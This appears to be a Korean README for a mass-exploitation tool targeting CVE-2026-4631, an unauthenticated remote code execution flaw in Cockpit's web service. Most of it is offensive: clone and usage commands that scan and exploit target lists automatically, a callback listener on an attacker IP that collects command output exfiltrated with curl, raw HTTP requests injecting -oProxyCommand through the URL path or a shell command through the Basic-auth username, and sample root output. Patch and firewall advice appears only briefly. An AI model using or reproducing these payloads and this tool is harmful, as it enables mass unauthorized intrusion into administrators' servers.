
인증되지 않은 원격 코드 실행: SSH 명령줄 인수 주입을 통한 Cockpit 버전 327~359 | CVSS 9.8 Critical | CWE-78
인증되지 않은 원격 코드 실행 — SSH 명령줄 인자 삽입 Cockpit 버전 327~359 | CVSS 9.8 중요(Critical) | CWE-78
Cockpit 웹 서비스(cockpit-ws, 포트 9090)의 CVE-2026-4631을 위한 대량 익스플로잇 도구입니다. 취약점 스캔 모드, 내장 HTTP 콜백 리스너를 통한 명령 출력 캡처 RCE 모드, --auto 모드(스캔 + 익스플로잇을 한 번에, 기본 명령어 id), 포트가 없는 대상에 자동으로 :9090 추가, 두 공격 벡터(ProxyCommand + username %r 삽입), 파일에서 대량 대상 목록 읽기, 동시성 스레딩, 구조화된 결과 출력을 지원합니다.
작성자: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
targets.txt 파일을 편집합니다 — 한 줄에 하나의 호스트. 포트가 없으면 :9090이 자동으로 추가됩니다:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# 스캔 + 익스플로잇을 한 번에, 기본 명령어 "id"
python3 exploit.py -f targets.txt --auto --callback-ip <공격자_IP>
# results.txt 출력 예시:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# 취약점 스캔만 (익스플로잇 없음)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# 사용자 지정 명령어로 명시적 RCE
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <공격자_IP>
# 단일 대상
python3 exploit.py -t cockpit.example.com --auto --callback-ip <공격자_IP>
CVE-2026-4631은 블라인드 RCE입니다 — 명령 출력이 HTTP 응답으로 반환되지 않습니다. 도구는 내장 HTTP 리스너(기본 포트 8888)를 사용하여 출력을 캡처합니다. 다음을 확인하십시오:
--callback-ip는 대상에서 접근 가능한 IP여야 합니다 (127.0.0.1이 아님)8888(또는 사용자 지정 --listener-port)을 허용해야 합니다# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# 버전 확인 (360 이상이어야 함)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
/etc/cockpit/cockpit.conf 편집:
[WebService]
LoginTo = false
서비스 재시작:
sudo systemctl restart cockpit
포트 9090을 관리 네트워크로만 제한:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
벡터 1(ProxyCommand 삽입)을 조기 호스트명 검증을 통해 완화:
ssh -V # OpenSSH_9.6 이상이어야 함
버전 360으로 업그레이드할 수 없는 경우 다음 커밋을 적용:
beiboot.py 및 cockpitauth.c에 -- 구분자 추가session.py에 -- 추가패치 상세내용은 docs/PATCH_ANALYSIS.md 참조
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| 심각도 | 중요(Critical) (CVSS 9.8) |
| CWE | CWE-78 — OS 명령 삽입 |
| 영향 | Cockpit 327~359 |
| 수정 버전 | Cockpit 360+ |
| 인증 필요 | 아니요 (인증 전) |
| 보고자 | Jelle van der Waa |
| 서비스 | cockpit-ws, 기본 포트 9090 |
Cockpit v327은 cockpit-ssh(libssh)를 대체하여 시스템 OpenSSH ssh 클라이언트를 호출하는 python3 -m cockpit.beiboot를 도입했습니다. 사용자 제어 입력(URL 경로의 호스트명과 Authorization: Basic 헤더의 사용자명)이 검증 없이 그리고 -- 종료 옵션 구분자 없이 ssh로 전달됩니다. 삽입은 자격 증명 확인 이전에 발생하므로 유효한 로그인이 필요하지 않습니다.
URL 경로의 호스트명에 SSH 옵션 -oProxyCommand=<명령>을 삽입합니다.
GET /cockpit+=-oProxyCommand=<URL_인코딩_페이로드>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSH는 -oProxyCommand=<명령>을 옵션으로 파싱하여 <명령>을 ProxyCommand로 실행합니다. 명령은 cockpit-ws 사용자 프로세스로 실행됩니다.
전제조건: 대상에 OpenSSH < 9.6이 있어야 함. OpenSSH 9.6+는 메타 문자를 차단하는 조기 호스트명 검증 기능이 있습니다.
%r 토큰 삽입 (보조)Authorization: Basic 헤더의 사용자명에 셸 명령어를 삽입합니다.
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <명령>; #:x")
SSH는 Match exec 지시문에서 %r을 사용자명으로 확장하여 셸이 삽입된 명령을 실행합니다.
전제조건: 대상의 ssh_config에 %r 토큰을 사용하는 Match exec 지시문이 있어야 함.
LoginTo)이 비활성화되지 않음Match exec %r이 포함된 ssh_config# GitHub에서 클론
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# 의존성 설치
pip install -r requirements.txt
# 확인
python3 exploit.py --help
requests>=2.31 — 익스플로잇 요청을 위한 HTTP 클라이언트colorama>=0.4 — 색상이 적용된 터미널 출력리스너를 위한 추가 의존성은 없음 (stdlib http.server + threading 사용).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — SSH 인자 삽입을 통한 인증되지 않은 RCE
선택적 인수:
-h, --help 이 도움말 메시지를 표시하고 종료
-t, --target 단일 대상 URL/호스트 (포트가 없으면 자동 추가)
-f, --file 대상 목록이 포함된 파일 (한 줄에 하나)
--default-port 대상에 포트가 없을 때 추가할 포트 (기본: 9090)
-c, --cmd 실행할 명령어 (기본: --auto/RCE 모드에서 "id")
--scan 취약점 스캔 모드 (RCE 없음, 엔드포인트만 프로브)
--auto 스캔 + 익스플로잇을 한 번에, 기본 명령어 "id"
--vector 익스플로잇 벡터: auto|proxycommand|username (기본: auto)
-o, --output 결과 출력 파일 (기본: results.txt)
--callback-ip 대상에서 접근 가능한 공격자 IP (콜백 리스너용)
--listener-port 콜백 리스너 포트 (기본: 8888)
--threads 동시 작업자 수 (기본: 10)
--timeout 대상당 콜백 대기 시간(초) (기본: 10)
--delay 요청 간 지연 시간(초) (기본: 0)
--proxy 디버깅용 HTTP 프록시 (예: http://127.0.0.1:8080)
--user-agent 사용자 지정 User-Agent 문자열
-v, --verbose 상세 출력 (디버그)
--no-color 색상 출력 비활성화
--scan)익스플로잇 없이 /cockpit+=probe-host/login 엔드포인트를 프로브합니다. 탐지:
유해한 페이로드를 보내지 않으며 콜백 리스너가 필요하지 않습니다.
-c "명령어")대상에서 명령어를 실행하고 콜백을 통해 출력을 캡처합니다:
curl을 사용하여 리스너로 명령어를 유출(exfil)하도록 래핑-c를 지정하지 않으면 기본 명령어 = id--auto) — 권장스캔 + 익스플로잇을 한 번에 수행, 기본 명령어 id:
:9090 추가)VULN이면 즉시 id(또는 -c 재정의)로 익스플로잇NOT VULN / UNREACHABLE 대상은 건너뜀 (익스플로잇하지 않음)host [ uid=0(root) ... ]--vector auto)먼저 벡터 1(ProxyCommand)을 시도합니다. 응답이 OpenSSH >= 9.6(호스트명 검증 오류)을 나타내면 벡터 2(사용자명 %r)로 폴백합니다.
targets.txt의 각 항목에 포트가 없으면 자동으로 :9090이 추가됩니다:
host → http://host:9090
host:9090 → http://host:9090
https://host → https://host:9090
192.168.1.10 → http://192.168.1.10:9090
[::1] → http://[::1]:9090
# 포트가 없는 대상 → 자동 :9090, 기본 명령어 "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10
# 명령어 재정의
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10